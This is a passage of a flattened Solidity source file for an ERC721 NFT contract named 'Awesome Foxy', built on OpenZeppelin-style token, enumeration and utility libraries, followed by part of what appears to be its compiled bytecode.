{IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Foxy is ERC721Enumerable, Ownable { uint16 public constant MAX_TOKENS = 4320; uint256 public constant MAX_TOKENS_PER_PURCHASE = 16; uint256 private price = 5e16; string private base = "https://awesome-foxy-huv7r.ondigitalocean.app/"; function _baseURI() internal view virtual override returns (string memory) { return base; } function setBaseURI(string memory _base) public onlyOwner { base = _base; } constructor() ERC721("Awesome Foxy", "FOXY") {} function mint(uint256 _count) public payable { uint256 totalSupply = totalSupply(); require(_count > 0 && _count < MAX_TOKENS_PER_PURCHASE + 1, "You can get up to 16 foxies each time :)"); require(totalSupply + _count < MAX_TOKENS + 1, "Foxies not enough!"); require(msg.value >= price*_count, "Insufficient Ether"); for(uint8 i = 0; i < _count; i++) { _safeMint(msg.sender, totalSupply + i); } } function withdraw() public onlyOwner payable{ uint256 balance = address(this).balance; payable(msg.sender).transfer(balance); } }
0x60806040526004361061014b5760003560e01c80636352211e116100b6578063a22cb4651161006f578063a22cb46514610476578063b88d4fde1461049f578063c87b56dd146104c8578063e985e9c514610505578063f2fde38b14610542578063f47c84c51461056b5761014b565b80636352211e1461037357806370a08231146103b0578063715018a6146103ed5780638da5cb5b1461040457806395d89b411461042f578063a0712d681461045a5761014b565b806323b872dd1161010857806323b872dd146102745780632f745c591461029d5780633ccfd60b146102da57806342842e0e146102e45780634f6ccce71461030d57806355f804b31461034a5761014b565b806301ffc9a71461015057806306fdde031461018d578063081812fc146101b8578063095ea7b3146101f5578063100073801461021e57806318160ddd14610249575b600080fd5b34801561015c57600080fd5b50610177600480360381019061017291906128a5565b610596565b6040516101849190612daa565b60405180910390f35b34801561019957600080fd5b506101a2610610565b6040516101af9190612dc5565b60405180910390f35b3480156101c457600080fd5b506101df60048036038101906101da9190612938565b6106a2565b6040516101ec9190612d43565b60405180910390f35b34801561020157600080fd5b5061021c60048036038101906102179190612869565b610727565b005b34801561022a57600080fd5b5061023361083f565b60405161024091906130a2565b60405180910390f35b34801561025557600080fd5b5061025e610844565b60405161026b91906130a2565b60405180910390f35b34801561028057600080fd5b5061029b60048036038101906102969190612763565b610851565b005b3480156102a957600080fd5b506102c460048036038101906102bf9190612869565b6108b1565b6040516102d191906130a2565b60405180910390f35b6102e2610956565b005b3480156102f057600080fd5b5061030b60048036038101906103069190612763565b610a21565b005b34801561031957600080fd5b50610334600480360381019061032f9190612938565b610a41565b60405161034191906130a2565b60405180910390f35b34801561035657600080fd5b50610371600480360381019061036c91906128f7565b610ad8565b005b34801561037f57600080fd5b5061039a60048036038101906103959190612938565b610b6e565b6040516103a79190612d43565b60405180910390f35b3480156103bc57600080fd5b506103d760048036038101906103d291906126fe565b610c20565b6040516103e491906130a2565b60405180910390f35b3480156103f957600080fd5b50610402610cd8565b005b34801561041057600080fd5b50610419610d60565b6040516104269190612d43565b60405180910390f35b34801561043b57600080fd5b50610444610d8a565b6040516104519190612dc5565b60405180910390f35b610474600480360381019061046f9190612938565b610e1c565b005b34801561048257600080fd5b5061049d6004803603810190610498919061282d565b610f70565b005b3480156104ab57600080fd5b506104c660048036038101906104c191906127b2565b6110f1565b005b3480156104d457600080fd5b506104ef60048036038101906104ea9190612938565b611153565b6040516104fc9190612dc5565b60405180910390f35b34801561051157600080fd5b5061052c60048036038101906105279190612727565b6111fa565b6040516105399190612daa565b60405180910390f35b34801561054e57600080fd5b50610569600480360381019061056491906126fe565b61128e565b005b34801561057757600080fd5b50610580611386565b60405161058d9190613087565b60405180910390f35b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061060957506106088261138c565b5b9050919050565b60606000805461061f906133a5565b80601f016020809104026020016040519081016040528092919081815260200182805461064b906133a5565b80156106985780601f1061066d57610100808354040283529160200191610698565b820191906000526020600020905b81548152906001019060200180831161067b57829003601f168201915b5050505050905090565b60006106ad8261146e565b6106ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e390612f87565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600061073282610b6e565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079a90613027565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166107c26114da565b73ffffffffffffffffffffffffffffffffffffffff1614806107f157506107f0816107eb6114da565b6111fa565b5b610830576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082790612ee7565b60405180910390fd5b61083a83836114e2565b505050565b601081565b6000600880549050905090565b61086261085c6114da565b8261159b565b6108a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089890613047565b60405180910390fd5b6108ac838383611679565b505050565b60006108bc83610c20565b82106108fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f490612e07565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b61095e6114da565b73ffffffffffffffffffffffffffffffffffffffff1661097c610d60565b73ffffffffffffffffffffffffffffffffffffffff16146109d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c990612fa7565b60405180910390fd5b60004790503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610a1d573d6000803e3d6000fd5b5050565b610a3c838383604051806020016040528060008152506110f1565b505050565b6000610a4b610844565b8210610a8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8390613067565b60405180910390fd5b60088281548110610ac6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001549050919050565b610ae06114da565b73ffffffffffffffffffffffffffffffffffffffff16610afe610d60565b73ffffffffffffffffffffffffffffffffffffffff1614610b54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4b90612fa7565b60405180910390fd5b80600c9080519060200190610b6a929190612522565b5050565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0e90612f27565b60405180910390fd5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8890612f07565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ce06114da565b73ffffffffffffffffffffffffffffffffffffffff16610cfe610d60565b73ffffffffffffffffffffffffffffffffffffffff1614610d54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4b90612fa7565b60405180910390fd5b610d5e60006118d5565b565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060018054610d99906133a5565b80601f0160208091040260200160405190810160405280929190818152602001828054610dc5906133a5565b8015610e125780601f10610de757610100808354040283529160200191610e12565b820191906000526020600020905b815481529060010190602001808311610df557829003601f168201915b5050505050905090565b6000610e26610844565b9050600082118015610e44575060016010610e4191906131bf565b82105b610e83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7a90612de7565b60405180910390fd5b60016110e0610e929190613187565b61ffff168282610ea291906131bf565b10610ee2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed990613007565b60405180910390fd5b81600b54610ef09190613246565b341015610f32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2990612f47565b60405180910390fd5b60005b828160ff161015610f6b57610f58338260ff1684610f5391906131bf565b61199b565b8080610f6390613451565b915050610f35565b505050565b610f786114da565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fe6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fdd90612ea7565b60405180910390fd5b8060056000610ff36114da565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff166110a06114da565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516110e59190612daa565b60405180910390a35050565b6111026110fc6114da565b8361159b565b611141576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113890613047565b60405180910390fd5b61114d848484846119b9565b50505050565b606061115e8261146e565b61119d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119490612fe7565b60405180910390fd5b60006111a7611a15565b905060008151116111c757604051806020016040528060008152506111f2565b806111d184611aa7565b6040516020016111e2929190612d1f565b6040516020818303038152906040525b915050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6112966114da565b73ffffffffffffffffffffffffffffffffffffffff166112b4610d60565b73ffffffffffffffffffffffffffffffffffffffff161461130a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130190612fa7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561137a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137190612e47565b60405180910390fd5b611383816118d5565b50565b6110e081565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061145757507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80611467575061146682611c54565b5b9050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff1661155583610b6e565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60006115a68261146e565b6115e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115dc90612ec7565b60405180910390fd5b60006115f083610b6e565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061165f57508373ffffffffffffffffffffffffffffffffffffffff16611647846106a2565b73ffffffffffffffffffffffffffffffffffffffff16145b80611670575061166f81856111fa565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff1661169982610b6e565b73ffffffffffffffffffffffffffffffffffffffff16146116ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e690612fc7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561175f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175690612e87565b60405180910390fd5b61176a838383611cbe565b6117756000826114e2565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117c591906132a0565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461181c91906131bf565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a450505